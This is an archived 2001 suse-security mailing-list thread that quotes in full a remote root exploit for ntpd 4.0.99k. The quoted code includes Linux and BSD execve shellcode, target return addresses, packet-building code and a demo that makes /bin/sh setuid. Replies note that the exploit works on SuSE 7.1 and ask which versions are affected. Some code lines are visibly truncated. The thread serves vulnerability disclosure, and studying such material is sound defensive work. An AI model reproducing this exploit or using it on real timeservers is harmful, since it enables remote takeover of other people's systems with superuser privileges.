Re: [suse-security] Re: ntpd =< 4.0.99k remote buffer overflow

6 Apr 2001


      ...
Xmm...
It's seems works on SuSE 7.1...
Vadim
----- Original Message -----
From: "Przemyslaw Frasunek" 
To: 
Sent: Wednesday, April 04, 2001 4:27 PM
Subject: ntpd =< 4.0.99k remote buffer overflow
...
/* ntpd remote root exploit / babcia padlina ltd.
 */
/*
 * Network Time Protocol Daemon (ntpd) shipped with many systems is
vulnerable
 * to remote buffer overflow attack. It occurs when building response
for
 * a query with large readvar argument. In almost all cases, ntpd is
running
 * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to
timeserver.
 *
 * Althought it's a normal buffer overflow, exploiting it is much
harder.
 * Destination buffer is accidentally damaged, when attack is performed,
so
 * shellcode can't be larger than approx. 70 bytes. This proof of
concept
code
 * uses small execve() shellcode to run /tmp/sh binary. Full remote
attack
 * is possible.
 *
 * NTP is stateless UDP based protocol, so all malicious queries can be
 * spoofed.
 *
 * Example of use on generic RedHat 7.0 box:
 *
 * [venglin@cipsko venglin]$ cat dupa.c
 * main() { setreuid(0,0); system("chmod 4755 /bin/sh");  }
 * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c
 * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c
 * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost
 * ntpdx v1.0 by venglin@freebsd.lublin.pl
 *
 * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh)
 *
 * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
 * [1] <- evil query (pkt = 512 | shell = 45)
 * [2] <- null query (pkt = 12)
 * Done.
 * /tmp/sh was spawned.
 * [venglin@cipsko venglin]$ ls -al /bin/bash
 * -rwsr-xr-x    1 root     root       512540 Aug 22  2000 /bin/bash
 *
 */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define NOP 0x90
#define ADDRS 8
#define PKTSIZ 512
static char usage[] = "usage: ntpdx [-o offset] <-t type> <hostname>";
/* generic execve() shellcodes */
char lin_execve[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
...
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
...
"\x80\xe8\xdc\xff\xff\xff/tmp/sh";
char bsd_execve[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
...
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
...
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01"
...
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
struct platforms
{
char *os;
char *version;
char *code;
long ret;
int align;
int shalign;
int port;
};
/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet
 * *after* RET address. This values will vary from platform to platform.
 */
struct platforms targ[] =
{
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff8bc, 200, 220, 0 },
{ "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve,
0xbfbff540, 200, 220, 0 },
{ "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve,
0xbffff777, 240, 160, 0 },
{ NULL, NULL, NULL, 0x0, 0, 0, 0 }
};
long getip(name)
char *name;
{
struct hostent *hp;
long ip;
extern int h_errno;
if ((ip = inet_addr(name)) < 0)
{
if (!(hp = gethostbyname(name)))
{
fprintf(stderr, "gethostbyname(): %s\n",
strerror(h_errno));
exit(1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
/* tcpdump-based reverse engineering :)) */
char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
      0x74, 0x75, 0x6d, 0x3d };
char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00 };
char buf[PKTSIZ], *p;
long *ap;
int i;
int sockfd;
struct sockaddr_in sa;
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(123);
sa.sin_addr.s_addr = getip(host);
if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
perror("socket");
return -1;
}
if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
{
perror("connect");
close(sockfd);
return -1;
}
memset(buf, NOP, PKTSIZ);
memcpy(buf, q2, sizeof(q2));
p = buf + align;
ap = (unsigned long *)p;
for(i=0;i
p = (char *)ap;
memcpy(buf+shalign, shellcode, strlen(shellcode));
if((write(sockfd, buf, PKTSIZ)) < 0)
{
perror("write");
close(sockfd);
return -1;
}
fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
strlen(shellcode));
fflush(stderr);
if ((write(sockfd, q3, sizeof(q3))) < 0)
        {
                perror("write");
                close(sockfd);
                return -1;
        }
fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
fflush(stderr);
close(sockfd);
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
extern int optind, opterr;
extern char *optarg;
int ch, type, ofs, i;
long ret;
opterr = ofs = 0;
type = -1;
while ((ch = getopt(argc, argv, "t:o:")) != -1)
switch((char)ch)
{
case 't':
type = atoi(optarg);
break;
case 'o':
ofs = atoi(optarg);
break;
case '?':
default:
puts(usage);
exit(0);
}
argc -= optind;
argv += optind;
fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n");
if (type < 0)
{
fprintf(stderr, "Please select platform:\n");
for (i=0;targ[i].os;i++)
{
fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
targ[i].os, targ[i].version, (void *)targ[i].ret);
}
exit(0);
}
fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
targ[type].os, targ[type].version);
ret = targ[type].ret;
ret += ofs;
if (argc != 1)
{
puts(usage);
exit(0);
}
fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
(void *)ret, targ[type].align, targ[type].shalign);
if (doquery(*argv, ret, targ[type].code, targ[type].align,
targ[type].shalign) < 0)
{
fprintf(stderr, "Failed.\n");
exit(1);
}
fprintf(stderr, "Done.\n");
if (!targ[type].port)
{
fprintf(stderr, "/tmp/sh was spawned.\n");
exit(0);
}
exit(0);
}
--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE
...
...
* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF
somebody knows what timeserver versions are not effected by this problem???

----- Original Message -----
From: "Vadim Kouzmine" 
To: ; 
Sent: Thursday, April 05, 2001 4:01 PM
Subject: [suse-security] Re: ntpd =< 4.0.99k remote buffer overflow


*
*
...
...
---------------------------------------------------------------------
To unsubscribe, e-mail: suse-security-unsubscribe@suse.com
For additional commands, e-mail: suse-security-help@suse.com

Re: [suse-security] Re: ntpd =< 4.0.99k remote buffer overflow

rene.marhold